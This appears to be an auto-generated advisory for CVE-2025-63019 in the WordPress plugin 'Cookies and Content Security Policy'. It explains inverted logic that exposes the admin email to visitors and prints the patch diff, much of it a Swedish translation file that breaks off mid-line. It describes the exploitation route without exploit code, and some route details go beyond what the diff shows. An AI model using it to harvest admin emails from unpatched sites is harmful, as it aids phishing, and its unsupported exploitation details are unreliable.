Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-63019: Cookies and Content Security Policy <= 2.34 – Unauthenticated Information Exposure (cookies-and-content-security-policy)

Severity Medium (CVSS 5.3)
CWE 200
Vulnerable Version 2.34
Patched Version 2.35
Disclosed January 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-63019:
The Cookies and Content Security Policy WordPress plugin contains an information exposure vulnerability in versions up to and including 2.34. The plugin exposes the WordPress administrator email address to unauthenticated users through its frontend JavaScript error handling system. This vulnerability has a CVSS score of 5.3, representing moderate severity.

Atomic Edge research identifies the root cause in the `cacsp_texts()` function within `/inc/set-cacsp.php`. This function retrieves plugin configuration from the `cacsp_option_settings_admin_email` option. The vulnerable logic (lines 200-205) incorrectly interprets this option’s value. When the option is set to `true`, the code sets `$admin_email` to an empty string, hiding the email. When the option is `false` or unset, the code retrieves the actual administrator email via `get_option(‘admin_email’)`. This inverted logic means the default behavior (option not explicitly set) exposes the email address.

Exploitation requires no authentication. Attackers trigger the plugin’s frontend JavaScript error handling mechanism, which calls the `cacsp_texts()` function via WordPress AJAX or REST endpoints. The function returns the administrator email address in the response payload. Attackers can access this data through normal plugin operation when content blocking occurs, or by directly calling the plugin’s public endpoints that utilize the `cacsp_texts()` function.

The patch in version 2.35 corrects the logic inversion. The diff shows the `cacsp_texts()` function now correctly interprets the `cacsp_option_settings_admin_email` option. When set to `true`, it retrieves the admin email. When `false` or unset, it returns an empty string. The plugin also updates the settings label from ‘Hide admin email’ to ‘Show admin email’ in `/inc/settings-cacsp-tab-settings.php`. The update script in `/inc/update.php` deletes the old option value to ensure clean state for upgraded installations.

Successful exploitation exposes the WordPress administrator email address to any site visitor. This information enables targeted phishing campaigns against site administrators. Attackers can use the email for credential stuffing attacks against the administrator’s other accounts. The exposed email also reveals organizational structure and potentially weakens the site’s security posture by providing reconnaissance data for more sophisticated attacks.

Differential between vulnerable and patched code

Code Diff
--- a/cookies-and-content-security-policy/cookies-and-content-security-policy.php
+++ b/cookies-and-content-security-policy/cookies-and-content-security-policy.php
@@ -4,7 +4,7 @@
 * Plugin URI: https://plugins.followmedarling.se/cookies-and-content-security-policy/
 * Description: Block cookies and unwanted external content by setting Content Security Policy. A modal will be shown on the front end to let the visitor choose what kind of resources to accept.
 * Short Description: Be fully GDPR and CCPA compliant through Content Security Policy. Blocks cookies and unwanted external content.
-* Version: 2.34
+* Version: 2.35
 * Author: Jonk @ Follow me Darling
 * Author URI: https://plugins.followmedarling.se/
 * Domain Path: /languages
--- a/cookies-and-content-security-policy/inc/set-cacsp.php
+++ b/cookies-and-content-security-policy/inc/set-cacsp.php
@@ -200,11 +200,11 @@
 } );

 function cacsp_texts( $data ) {
-	$hide_admin_email = get_cacsp_options( 'cacsp_option_settings_admin_email' );;
-	if ( $hide_admin_email ) {
-		$admin_email = '';
-	} else {
+	$show_admin_email = get_cacsp_options( 'cacsp_option_settings_admin_email' );;
+	if ( $show_admin_email ) {
 		$admin_email = get_option( 'admin_email' );
+	} else {
+		$admin_email = '';
 	}
 	return array(
 		'warning_texts' => array(
--- a/cookies-and-content-security-policy/inc/settings-cacsp-tab-settings.php
+++ b/cookies-and-content-security-policy/inc/settings-cacsp-tab-settings.php
@@ -292,7 +292,7 @@
 						$checked = '';
 					} ?>
 					<input type="checkbox" name="cacsp_option_settings_admin_email" id="cacsp_option_settings_admin_email" value="1"<?php echo $checked; ?>>
-						<?php esc_html_e( 'Hide admin email in error messages.', 'cookies-and-content-security-policy' ); ?>
+						<?php esc_html_e( 'Show admin email in error messages.', 'cookies-and-content-security-policy' ); ?>
 				</label>
 				<br>
 				<label for="cacsp_option_wpengine_compatibility_mode">
--- a/cookies-and-content-security-policy/inc/update.php
+++ b/cookies-and-content-security-policy/inc/update.php
@@ -1,7 +1,22 @@
 <?php
 // Update

-if ( get_option( 'cacsp_version' ) < '2.27' ) {
-    update_option( 'cacsp_version', cacsp_get_plugin_version(), true );
+$installed_version = get_option( 'cacsp_db_version' );
+$installed_version = $installed_version ? $installed_version : '0.991';
+$needs_db_version_update = false;
+
+if ( version_compare( $installed_version, '2.27', '<' ) ) {
     cacsp_save_error_message_js();
+    $needs_db_version_update = true;
+}
+
+if ( version_compare( $installed_version, '2.35', '<' ) ) {
+    delete_option( 'cacsp_option_settings_admin_email' );
+    delete_option( 'cacsp_version' );
+    $needs_db_version_update = true;
+}
+
+if ( $needs_db_version_update ) {
+    $current_version = cacsp_get_plugin_version();
+    update_option( 'cacsp_db_version', $current_version, true );
 }
--- a/cookies-and-content-security-policy/languages/cookies-and-content-security-policy-sv_SE.l10n.php
+++ b/cookies-and-content-security-policy/languages/cookies-and-content-security-policy-sv_SE.l10n.php
@@ -1,2 +1,2 @@
 <?php
-return ['po-revision-date'=>'2025-12-08 15:34+0000','mime-version'=>'1.0','content-type'=>'text/plain; charset=UTF-8','content-transfer-encoding'=>'8bit','plural-forms'=>'nplurals=2; plural=n != 1;','x-generator'=>'Loco https://localise.biz/','language'=>'sv_SE','project-id-version'=>'Plugins - Cookies and Content Security Policy - Stable (latest release)','language-team'=>'Svenska','report-msgid-bugs-to'=>'','pot-creation-date'=>'2022-07-25 07:20+0000','last-translator'=>'Testing stuff','x-loco-version'=>'2.6.6; wp-6.4.3','messages'=>['127.0.0.1<br>13.37.841.01'=>'127.0.0.1<br>13.37.841.01','Accept all'=>'Acceptera alla','Accept all button'=>'Acceptera alla-knapp','Accept button border'=>'Färg på ram för acceptera-knapp','Accept button color'=>'Färg på acceptera-knapp','Accept button text'=>'Färg på acceptera-knappens text','accepted_cookies'=>'accepted_cookies','Activate'=>'Aktivera','Activate the plugin to use it.'=>'Aktivera pluginet för att använda det.','Active'=>'Aktivt','Add grandma with milk and cookies.'=>'Lägg till mormor som serverar mjölk och kakor.','Admin'=>'Admin','Advanced settings'=>'Avancerade inställningar','After how many days the accept cookie should expire.'=>'Efter hur många dagar ska accept-cookien upphöra att gälla.','Allow background scripts via Worker'=>'Tillåt att script körs i bakgrunden med Worker','Allow blob.'=>'Tillåt blob.','Allow data.'=>'Tillåt data.','Allow user to access site without saving settings.'=>'Tillåt att besökaren använder siten utan att ha sparat några inställningar.','Always allow'=>'Tillåt alltid','Always allow, description'=>'Tillåt alltid, beskrivning','Always allow, header'=>'Tillåt alltid, rubrik','Always allowed, resources that the visitor can't opt out of.'=>'Tillåt alltid, resurser som besökaren inte kan välja bort.','Analytics'=>'Analys','Backdrop'=>'Backdrop','Backgrounds'=>'Bakgrunder','Basic settings'=>'Grundläggande inställningar','Block cookies and unwanted external content by setting Content Security Policy. A modal will be shown on the front end to let the visitor choose what kind of resources to accept.'=>'Blockera cookies och oönskat externt innehåll genom att skapa en Content Security Policy. En modal kommer att visas för besökaren som låter hen bestämma vilka typer av resurser som accepteras.','Buttons'=>'Knappar','By sharing your interests and behavior as you visit our site, you increase the chance of seeing personalized content and offers.'=>'Genom att dela med dig av dina intressen och ditt beteende när du surfar ökar du chansen att få se personligt anpassat innehåll och erbjudanden.','Bypass by IP'=>'Förbigå IP','Bypassing'=>'Förbikoppla','Calendly'=>'Calendly','Choose how to handle domains, texts, settings and colors in you network.'=>'Välj hur du vill hantera domäner, texter, inställningar och färger i ditt nätverk.','Choose what kind of cookies to accept. Your choice will be saved for one year.'=>'Välj vilken typ av kakor du vill acceptera. Ditt val kommer att sparas i ett år.','Choose which external resources the site uses to automatically save them to Domains. These are recommended settings for each resource.'=>'Välj vilka externa resurser som din site använder för att automatiskt spara dem till dina Domäner. Detta är rekommenderade inställningar för respektive resurs.','Close'=>'Stäng','Close button'=>'Stäng-knapp','Colors'=>'Färger','Consent'=>'Samtycke','Contact the administrator'=>'Kontakta administratören','Content not allowed button'=>'Innehållet är inte tillåtet-knapp','Content not allowed text'=>'Innehållet är inte tillåtet-text','Cookie Expire'=>'Cookie löper ut','Cookie policy link text'=>'Cookie policy länk-text','Cookie policy page'=>'Cookie policy-sida','Cookie policy target'=>'Cookie policy länkmål','Cookie policy URL'=>'Cookie policy URL','Cookies'=>'Kakor','Cookies and Content Security Policy'=>'Cookies och Content Security Policy','CRM'=>'CRM','Deactivated'=>'Deaktiverat','Debug.'=>'Debugga.','Default'=>'Standard','Default: 1000'=>'Standard: 1000','Default: 365'=>'Default: 365','Delete range'=>'Ta bort intervall','Delete selected'=>'Ta bort valda','Disable content not allowed message.'=>'Avaktivera meddelande för blockerad innehåll.','Disable unsafe-eval.'=>'Inaktivera unsafe-eval.','Disable unsafe-inline.'=>'Inaktivera unsafe-inline.','Disable X-Content-Security-Policy.'=>'Inaktivera X-Content-Security-Policy.','Disabled switch'=>'Avaktiverad switch','Disables the error message that appears when an iframe is blocked.'=>'Tar bort felmeddelandet som dyker upp när en ifram är blockerad.','Disables the use of eval() and similar methods for creating code from strings.'=>'Inaktiverar användningen av eval() och liknande metoder för att skapa kod från strängar.','Disables the use of inline resources, such as inline <script> elements, javascript: URLs, and inline event handlers.'=>'Inaktiverar användningen av inline-resurser, såsom inline <script>-element, javascript:-URLar och inline event handlers.','Divi'=>'Divi','Do not include css, I've got my own style.'=>'Inkluder inte css, jag har min egen stil.','Do not include js, I've got my own script.'=>'Inkludera inte js, jag har mitt eget script.','Do not use a modal, I want a banner.'=>'Använd inte modal, jag vill ha en banner.','Do your settings without disturbing anyone. No modal or Content Security Policy will be used at all.'=>'Gör dina inställningar utan att störa någon. Ingen modal eller Content Security Policy kommer att användas alls.','Domains'=>'Domäner','Donate with PayPal'=>'Donera med PayPal','drop me a line'=>'hör av dig','Enable Google Consent Mode v2'=>'Aktivera Google Consent Mode v2','Enabling this will use the <a href="https://wpengine.com/support/personalization-user-segmentation-page-cache/" target="_blank">User Cache Segmentation</a> to set the cookie, which will allow this plugin to work with WP Engine caching. <strong>Do not enable this setting if you are not on WP Engine.</strong>.'=>'Om du aktiverar detta så används <a href="https://wpengine.com/support/personalization-user-segmentation-page-cache/" target="_blank">User Cache Segmentation</a> för att ställa in cookien, vilket kommer att tillåta denna plugin att fungera med WP Engine-cache. <strong>Aktivera inte den här inställningen om du inte använder WP Engine.</strong>.','Everything'=>'Allt','Everything is individual on all sites'=>'Allt är individuellt på alla siter','Everything is shared from your main site *.'=>'Alla inställningar kommer från din huvudwebbplats *.','Everyting but texts is shared from the main site *.'=>'Alla inställningar förutom texter kommer från din huvudwebbplats *.','Example:'=>'Exempel:','Example: If you don't have any domains specified for Marketing, that setting won't show for the visitor.'=>'Exempel: Om du inte har några domäner sparade för Marknadsföring, så syns inte den inställningen för användaren.','Example: Some javascript libraries uses blob for images. Divi uses this for scripts in edit mode.'=>'Exempel: Vissa javascript-bibliotek använder blob för bilder. Divi använder detta i redigerings-läget.','Example: Sometimes data is used for loading images and scripts.'=>'Exempel: Ibland används data för att ladda bilder och script.','Experience'=>'Upplevelse','Experience, description'=>'Upplevelse, beskrivning','Experience, header'=>'Upplevelse, rubrik','Experience, resources for displaying external videos etc.'=>'Upplevelse, resurser för att visa externa videos etc.','expires'=>'expires','Facebook Pixel'=>'Facebook Pixel','Fill the forms with domains that should be allowed in each box. The groups are:'=>'Fyll i formulären med domäner som ska vara tillåtna i varje ruta. Grupperna är:','Forms'=>'Formulär','Frames'=>'Frames','From'=>'Från','Google'=>'Google','Google Ads'=>'Google Ads','Google Ads conversions'=>'Google Ads conversions','Google Ads remarketing'=>'Google Ads remarketing','Google Analytics'=>'Google Analytics','Google Analytics is under "Google"'=>'Google Analytics hittar du under "Google"','Google Docs'=>'Google Docs','Google Maps'=>'Google Maps','Google Optimize'=>'Google Optimize','Google Tag Manager'=>'Google Tag Manager','Google Translate'=>'Google Translate','Grandma mode.'=>'Mormor-mode.','Gravatar'=>'Gravatar','Hide admin email in error messages.'=>'Dölj e-postadress för administration i felmeddelanden.','Hide unused sections in Settings.'=>'Dölj oanvända sektioner under Inställningar.','Hotjar'=>'Hotjar','How many ms (milliseconds) until the cookie modal should appear.'=>'Hur många ms (millisekunder) tills cookiemodalen ska visas.','How to link back to settings'=>'Länka till inställningarna','https://plugins.followmedarling.se/'=>'https://plugins.followmedarling.se/','https://plugins.followmedarling.se/cookies-and-content-security-policy/'=>'https://plugins.followmedarling.se/cookies-and-content-security-policy/','https://wordpress.org/plugins/cookies-and-content-security-policy/#how%20do%20i%20translate%20in%20polylang%3F'=>'https://sv.wordpress.org/plugins/cookies-and-content-security-policy/#how%20do%20i%20translate%20in%20polylang%3F','https://wordpress.org/plugins/cookies-and-content-security-policy/#how%20do%20i%20translate%20in%20wpml%3F'=>'https://sv.wordpress.org/plugins/cookies-and-content-security-policy/#how%20do%20i%20translate%20in%20wpml%3F','Hubspot'=>'Hubspot','id'=>'id','If i missed some common resource or if some resource is missing any setting for domain'=>'Om jag har missat någon vanlig resurs, eller om någon resurs saknar inställning för domän','If you are using a translation plugin (like Polylang or WPML) only your sites default language can be edited here, translations are edited in your translation plugins string translation area.'=>'Om du använder en översättningsplugin (som Polylang eller WPML) så kan du bara redigera ditt default-språk här, översättningar redigerar du bland ditt översättningsplugins strängöversättningar.','If you are using a translation plugin (like Polylang or WPML) you have to save this form to make the texts below appear in your translation plugin. If you are happy with the default texts, and the plugins is already available in your language, you can skip saving this form and everything is already set up for you.'=>'Om du använder en översättningsplugin (som Polylang eller WPML) så måste du spara detta formulär för att texterna nedan ska dyka upp in ditt översättningsplugin. om du är nöjd med texterna, och pluginet redan finns på ditt språk, så kan du hoppa över att spara detta forumläret och allt är klart.','If you enable Google Consent Mode v2, consent will be denied until the visitor accepts marketing cookies. If you do not enable Google Consent Mode v2, consent will always be denied.'=>'Om du aktiverar Google Consent Mode v2 kommer samtycke att nekas tills besökaren accepterar marknadsförings-cookies. Om du inte aktiverar Google Consent Mode v2 nekas samtycke alltid.','If you use a PDF, or have your cookie policy externally, simply add the URL here. Don't forget https://'=>'Om du använder en PDF, eller har din cookiepolicy externt, lägg bara till URL:en här. Glöm inte https://','If you want to link back to the settings modal simply add a link with href = "#cookiesAndContentPolicySettings"'=>'Om du vill länka tillbaks till inställnings-modalen, skapa helt enkelt en länk med href = "#cookiesAndContentPolicySettings"','If you're not using a translation plugin you just need to save this form if you want to change any of the texts.'=>'Om du inte använder någon översättningsplugin så behöver du bara spara detta formuläret om du vill ändra någon av texterna.','If your host does not accept setting php header(), or if you're using static page cache that doesn't go through php, check this to add CSP as a meta tag in the header instead.'=>'Om ditt webbhotell inte låter dig sätta php header(), eller om du använder statisk cache, kryssa i här för att köra CSP som meta tag istället.','Images'=>'Bilder','In order for our website to perform as well as possible during your visit. If you refuse these cookies, some functionality will disappear from the website.'=>'För att vår hemsida ska prestera så bra som möjligt under ditt besök. Om du nekar de här kakorna kommer viss funktionalitet att försvinna från hemsidan.','In order for us to improve the website's functionality and structure, based on how the website is used.'=>'För att vi ska kunna förbättra hemsidans funktionalitet och uppbyggnad, baserat på hur hemsidan används.','Info'=>'Info','Instagram'=>'Instagram','ip'=>'ip','IPs to bypass'=>'IP-adresser att förbigå','Issuu'=>'Issuu','It would make my day. :)'=>'Det skulle gör mig så hjärtans glad. :)','Jetpack'=>'Jetpack','Jonk @ Follow me Darling'=>'Jonk @ Follow me Darling','Just add ?cacsp_bypass=true to your url. All cookies will be accepted for the session. Great for when you run speedtest and so forth.'=>'Lägg bara till ?cacsp_bypass=true till din url. Alla cookies kommer att bli accepterade för sessionen. Bra att använda när man kör test av webbplatsprestanda och så vidare.','LinkedIn Insight Tag/LinkedIn Pixel'=>'LinkedIn Insight Tag/LinkedIn Pixel','Mailchimp'=>'Mailchimp','Marketing'=>'Marknadsföring','Marketing, description'=>'Marknadsföring, beskrivning','Marketing, header'=>'Marknadsföring, rubrik','Marketing, resources for gathering data about the visitor for remarketing etc.'=>'Marknadsföring, resurser för att samla in data om besökaren för remarketing etc.','Media'=>'Media','Misc'=>'Övrigt','Modal background'=>'Bakgrund i modalen','Modal header'=>'Rubrik i modalen','Modal header background'=>'Bakgrund i modalens sidhuvud','Modal list border'=>'Linjer mellan listelement i modalen','Modal text color'=>'Textfärg i modal','Modal text header color'=>'Textfärg i modalens sidhuvud','Necessary'=>'Nödvändiga','Network settings'=>'Nätverksinställningar','No idea :)'=>'Ingen aning :)','Off switch'=>'Av-switch','On switch'=>'På-switch','On switch, text color'=>'Textfärg för aktivt val','Only texts'=>'Bara texter','Only use CSP, no modal for me.'=>'Använd bara CSP, ingen modal för mig, tack.','Only works with banner.'=>'Fungerar bara med banner.','Open cookie policy in a new tab.'=>'Öppna cookie policy i en ny tabb.','Overwrite all settings in Domains'=>'Skriv över alla inställningar i Domäner','Page builders'=>'Sidbyggare','Payment'=>'Betalning','PayPal'=>'PayPal','Quickstart'=>'Snabbstart','Read in the FAQ how to translate with Polylang.'=>'Läs under Vanliga frågor hur du översätter med Polylang.','Read in the FAQ how to translate with WPML.'=>'Läs under Vanliga frågor hur du översätter med WPML.','Read our cookie policy'=>'Läs vår cookie policy','Read the FAQ, all commonly asked questions are answered there.'=>'Läs Vanliga frågor, alla de vanligaste frågorna är besvarade där.','reCAPTCHA v3'=>'reCAPTCHA v3','Recommended for better security.'=>'Rekommenderas för bättre säkerhet.','Refuse all'=>'Neka alla','Refuse button'=>'Neka-knapp','Refuse button border'=>'Färg på ram för neka-knapp','Refuse button color'=>' Färg på neka-knapp','Refuse button text'=>'Färg på neka-knappens text','Review your settings'=>'Granska dina inställningar','Review your settings button'=>'Granska dina inställningar-knapp','Review your settings text'=>'Granska dina inställningar-text','Save'=>'Spara','Save button'=>'Spara-knapp','Save button border'=>'Färg på ram för spara-knapp','Save button color'=>'Färg på spara-knapp','Save button text'=>'Färg på spara-knappens text','Save proof of consent'=>'Spara bevis på samtycke','Save Settings'=>'Spara inställningar','Scripts'=>'Script','Security check failed.'=>'Säkerhetskontroll misslyckades.','Separate domains by new line.<br>Example:<br>https://www.googleadservices.com<br>https://www.googletagmanager.com'=>'Separera domänerna med ny rad.<br>Exempel:<br>https://www.googleadservices.com<br>https://www.googletagmanager.com','Settings'=>'Inställningar','Settings button'=>'Inställnings-knapp','Settings button border'=>'Färg på ram för inställningar-knapp','Settings button color'=>'Färg på inställningar-knapp','Settings button text'=>'Färg på inställningar-knappens text','Settings text'=>'Text för inställningar','Show close button (×).'=>'Visa stäng-knapp (×).','Show refuse cookies button.'=>'Visa neka cookies-knapp.','site'=>'site','Social networks'=>'Sociala nätverk','SoundCloud'=>'SoundCloud','Spotify'=>'Spotify','Statistics'=>'Statistik','Statistics, description'=>'Statistik, beskrivning','Statistics, header'=>'Statistik, rubrik','Statistics, resources for gathering data about the visitor for statistics etc.'=>'Statistik, resurser för att samla in data om besökaren för statistik etc.','Stripe'=>'Stripe','Support'=>'Support','Test your settings without disturbing your visitors. Modal and Content Security Policy will be used only for logged in users with Administrator role.'=>'Testa dina instlällningar utan att störa dina besökare. Modal och Content Security Policy kommer bara att synas för inloggade användare med rollen Administratör.','Texts'=>'Texter','The consent data is saved in the database table "your_prefix" + "cacsp_consent". By default, the prefix is "wp_", so in most cases the table is named "wp_cacsp_consent".'=>'Samtyckesuppgifterna sparas i databastabellen "your_prefix" + "cacsp_consent". Som standard är prefixet "wp_", så i de flesta fall heter tabellen "wp_cacsp_consent".','The content can't be loaded, since it is not allowed on the site.'=>'Innehållet kan inte laddas eftersom det inte är tillåtet på siten.','These cookies are not optional. They are needed for the website to function.'=>'Dessa kakor går inte att välja bort. De behövs för att hemsidan över huvud taget ska fungera.','This will bypass the cookie modal and accept all cookies for the specified IPs.'=>'Detta kommer att kringgå cookie-modalen och acceptera alla cookies för de angivna IP-adresserna','This will only make use of domains in Always allowed.'=>'Detta innebär också att bara domäner i Tillåt alltid kommer att användas.','This will print helpful comments at the beginning of your page inside the >head< tag.'=>'Detta kommer att skiva ut hjälpsamma kommentarer i början av din sida inuti >head<-taggen.','time'=>'time','Timeout'=>'Paus','To'=>'Till','Twitter'=>'Twitter','Use Content Security Policy for forms for added security.'=>'Använd Content Security Policy till formulär för ökad säkerhet.','Use Content Security Policy for worker-src.'=>'Använd Content Security Policy för worker-src.','Use meta.'=>'Använd meta.','Use the default colors or pick you own here.'=>'Använd standard-färgerna eller välj dina egna här.','Use this to allow posting data to other sites, like subscribing to a MailChimp newsletter would need https://*.list-manage.com/'=>'Använd denna för att tillåta postning till andra domäner, t.ex. kommer starta prenumereraton på ett MailChimp-nyhetsbrev att behöva https://*.list-manage.com/','Vimeo'=>'Vimeo','Visit the support forum for the plugin at WordPress.org.'=>'Besök support-forumet för pluginet på WordPress.org.','Want support?'=>'Vill du ha support?','Want to support the plugin?'=>'Vill du supporta pluginet?','We are live!'=>'Det är live!','We serve cookies. If you think that's ok, just click "Accept all". You can also choose what kind of cookies you want by clicking "Settings".'=>'Vi bjuder på kakor! Om du tycker det är ok, klickar du bara på "Acceptera alla". Du kan såklart välja vilken typ av kakor du vill ha genom att klicka på "Inställningar".','Wildcard domains can be used.<br>Example:<br>https://*.youtube.com'=>'Wildcard-domäner kan användas.<br>Exempel:<br>https://*.youtube.com','Will be linked from the cookie modal. Does not show the the cookie modal for the user to be able to read the policy before accepting.'=>'Länkas till i cookie-modalen. Visar inte cookie-modalen så att användaren kan läsa policyn innan denne accepterar.','Worker'=>'Worker','WP Engine compatibility mode.'=>'WP Engine kompabilitets-läge.','Yes, the plugin is free. Totally free. But if you still want to pay for it to show your appreciation:'=>'Ja, pluginet är gratis. Helt gratis. Men om du ändå vill betala för det för att visa din uppskattning:','You don't have to fill out this form, the plugin comes with default colors. But if you want to change the colors, this is it.'=>'Du behöver inte fylla i det här formuläret, pluginet har redan alla färger som behövs. Men om du vill ändra några färger så gör du det här.','You don't have to fill out this form, the plugin comes with default settings. But if you want to change settings, this is it.'=>'Du behöver inte fylla i det här formuläret, pluginet har redan alla inställningar som behövs. Men om du vill ändra några inställningar så gör du det här.','You have unsaved changes, do you want to continue?'=>'Du har osparade ändringar, vill du fortsätta?','Your CDN, like https://media.yourdomain.com/'=>'Din CDN, som t.ex. https://media.dinhemsida.se/','Your main site'=>'Din huvudwebbplats','Your settings are now updated'=>'Dina inställningar är nu uppdaterade','Your settings are now updated in <a href="?page=cacsp_settings&tab=domains">Domains</a>'=>'Dina inställningar är nu uppdaterade i <a href="?page=cacsp_settings&tab=domains">Domäner</a>','Your settings may be preventing you from seeing this content. Most likely you have Experience turned off.'=>'Det verkar som om dina inställningar hindrar dig från att se detta innehållet. Med största sannolikhet är det för att du har Upplevelse avstängt.','YouTube'=>'YouTube']];
+return ['po-revision-date'=>'2026-01-15 15:43+0000','mime-version'=>'1.0','content-type'=>'text/plain; charset=UTF-8','content-transfer-encoding'=>'8bit','plural-forms'=>'nplurals=2; plural=n != 1;','x-generator'=>'Loco https://localise.biz/','language'=>'sv_SE','project-id-version'=>'Plugins - Cookies and Content Security Policy - Stable (latest release)','language-team'=>'Svenska','report-msgid-bugs-to'=>'','pot-creation-date'=>'2022-07-25 07:20+0000','last-translator'=>'Testing stuff','x-loco-version'=>'2.6.6; wp-6.4.3','messages'=>['127.0.0.1<br>13.37.841.01'=>'127.0.0.1<br>13.37.841.01','Accept all'=>'Acceptera alla','Accept all button'=>'Acceptera alla-knapp','Accept button border'=>'Färg på ram för acceptera-knapp','Accept button color'=>'Färg på acceptera-knapp','Accept button text'=>'Färg på acceptera-knappens text','accepted_cookies'=>'accepted_cookies','Activate'=>'Aktivera','Activate the plugin to use it.'=>'Aktivera pluginet för att använda det.','Active'=>'Aktivt','Add grandma with milk and cookies.'=>'Lägg till mormor som serverar mjölk och kakor.','Admin'=>'Admin','Advanced settings'=>'Avancerade inställningar','After how many days the accept cookie should expire.'=>'Efter hur många dagar ska accept-cookien upphöra att gälla.','Allow background scripts via Worker'=>'Tillåt att script körs i bakgrunden med Worker','Allow blob.'=>'Tillåt blob.','Allow data.'=>'Tillåt data.','Allow user to access site without saving settings.'=>'Tillåt att besökaren använder siten utan att ha sparat några inställningar.','Always allow'=>'Tillåt alltid','Always allow, description'=>'Tillåt alltid, beskrivning','Always allow, header'=>'Tillåt alltid, rubrik','Always allowed, resources that the visitor can't opt out of.'=>'Tillåt alltid, resurser som besökaren inte kan välja bort.','Analytics'=>'Analys','Backdrop'=>'Backdrop','Backgrounds'=>'Bakgrunder','Basic settings'=>'Grundläggande inställningar','Block cookies and unwanted external content by setting Content Security Policy. A modal will be shown on the front end to let the visitor choose what kind of resources to accept.'=>'Blockera cookies och oönskat externt innehåll genom att skapa en Content Security Policy. En modal kommer att visas för besökaren som låter hen bestämma vilka typer av resurser som accepteras.','Buttons'=>'Knappar','By sharing your interests and behavior as you visit our site, you increase the chance of seeing personalized content and offers.'=>'Genom att dela med dig av dina intressen och ditt beteende när du surfar ökar du chansen att få se personligt anpassat innehåll och erbjudanden.','Bypass by IP'=>'Förbigå IP','Bypassing'=>'Förbikoppla','Calendly'=>'Calendly','Choose how to handle domains, texts, settings and colors in you network.'=>'Välj hur du vill hantera domäner, texter, inställningar och färger i ditt nätverk.','Choose what kind of cookies to accept. Your choice will be saved for one year.'=>'Välj vilken typ av kakor du vill acceptera. Ditt val kommer att sparas i ett år.','Choose which external resources the site uses to automatically save them to Domains. These are recommended settings for each resource.'=>'Välj vilka externa resurser som din site använder för att automatiskt spara dem till dina Domäner. Detta är rekommenderade inställningar för respektive resurs.','Close'=>'Stäng','Close button'=>'Stäng-knapp','Colors'=>'Färger','Consent'=>'Samtycke','Contact the administrator'=>'Kontakta administratören','Content not allowed button'=>'Innehållet är inte tillåtet-knapp','Content not allowed text'=>'Innehållet är inte tillåtet-text','Cookie Expire'=>'Cookie löper ut','Cookie policy link text'=>'Cookie policy länk-text','Cookie policy page'=>'Cookie policy-sida','Cookie policy target'=>'Cookie policy länkmål','Cookie policy URL'=>'Cookie policy URL','Cookies'=>'Kakor','Cookies and Content Security Policy'=>'Cookies och Content Security Policy','CRM'=>'CRM','Deactivated'=>'Deaktiverat','Debug.'=>'Debugga.','Default'=>'Standard','Default: 1000'=>'Standard: 1000','Default: 365'=>'Default: 365','Delete range'=>'Ta bort intervall','Delete selected'=>'Ta bort valda','Disable content not allowed message.'=>'Avaktivera meddelande för blockerad innehåll.','Disable unsafe-eval.'=>'Inaktivera unsafe-eval.','Disable unsafe-inline.'=>'Inaktivera unsafe-inline.','Disable X-Content-Security-Policy.'=>'Inaktivera X-Content-Security-Policy.','Disabled switch'=>'Avaktiverad switch','Disables the error message that appears when an iframe is blocked.'=>'Tar bort felmeddelandet som dyker upp när en ifram är blockerad.','Disables the use of eval() and similar methods for creating code from strings.'=>'Inaktiverar användningen av eval() och liknande metoder för att skapa kod från strängar.','Disables the use of inline resources, such as inline <script> elements, javascript: URLs, and inline event handlers.'=>'Inaktiverar användningen av inline-resurser, såsom inline <script>-element, javascript:-URLar och inline event handlers.','Divi'=>'Divi','Do not include css, I've got my own style.'=>'Inkluder inte css, jag har min egen stil.','Do not include js, I've got my own script.'=>'Inkludera inte js, jag har mitt eget script.','Do not use a modal, I want a banner.'=>'Använd inte modal, jag vill ha en banner.','Do your settings without disturbing anyone. No modal or Content Security Policy will be used at all.'=>'Gör dina inställningar utan att störa någon. Ingen modal eller Content Security Policy kommer att användas alls.','Domains'=>'Domäner','Donate with PayPal'=>'Donera med PayPal','drop me a line'=>'hör av dig','Enable Google Consent Mode v2'=>'Aktivera Google Consent Mode v2','Enabling this will use the <a href="https://wpengine.com/support/personalization-user-segmentation-page-cache/" target="_blank">User Cache Segmentation</a> to set the cookie, which will allow this plugin to work with WP Engine caching. <strong>Do not enable this setting if you are not on WP Engine.</strong>.'=>'Om du aktiverar detta så används <a href="https://wpengine.com/support/personalization-user-segmentation-page-cache/" target="_blank">User Cache Segmentation</a> för att ställa in cookien, vilket kommer att tillåta denna plugin att fungera med WP Engine-cache. <strong>Aktivera inte den här inställningen om du inte använder WP Engine.</strong>.','Everything'=>'Allt','Everything is individual on all sites'=>'Allt är individuellt på alla siter','Everything is shared from your main site *.'=>'Alla inställningar kommer från din huvudwebbplats *.','Everyting but texts is shared from the main site *.'=>'Alla inställningar förutom texter kommer från din huvudwebbplats *.','Example:'=>'Exempel:','Example: If you don't have any domains specified for Marketing, that setting won't show for the visitor.'=>'Exempel: Om du inte har några domäner sparade för Marknadsföring, så syns inte den inställningen för användaren.','Example: Some javascript libraries uses blob for images. Divi uses this for scripts in edit mode.'=>'Exempel: Vissa javascript-bibliotek använder blob för bilder. Divi använder detta i redigerings-läget.','Example: Sometimes data is used for loading images and scripts.'=>'Exempel: Ibland används data för att ladda bilder och script.','Experience'=>'Upplevelse','Experience, description'=>'Upplevelse, beskrivning','Experience, header'=>'Upplevelse, rubrik','Experience, resources for displaying external videos etc.'=>'Upplevelse, resurser för att visa externa videos etc.','expires'=>'expires','Facebook Pixel'=>'Facebook Pixel','Fill the forms with domains that should be allowed in each box. The groups are:'=>'Fyll i formulären med domäner som ska vara tillåtna i varje ruta. Grupperna är:','Forms'=>'Formulär','Frames'=>'Frames','From'=>'Från','Google'=>'Google','Google Ads'=>'Google Ads','Google Ads conversions'=>'Google Ads conversions','Google Ads remarketing'=>'Google Ads remarketing','Google Analytics'=>'Google Analytics','Google Analytics is under "Google"'=>'Google Analytics hittar du under "Google"','Google Docs'=>'Google Docs','Google Maps'=>'Google Maps','Google Optimize'=>'Google Optimize','Google Tag Manager'=>'Google Tag Manager','Google Translate'=>'Google Translate','Grandma mode.'=>'Mormor-mode.','Gravatar'=>'Gravatar','Hide unused sections in Settings.'=>'Dölj oanvända sektioner under Inställningar.','Hotjar'=>'Hotjar','How many ms (milliseconds) until the cookie modal should appear.'=>'Hur många ms (millisekunder) tills cookiemodalen ska visas.','How to link back to settings'=>'Länka till 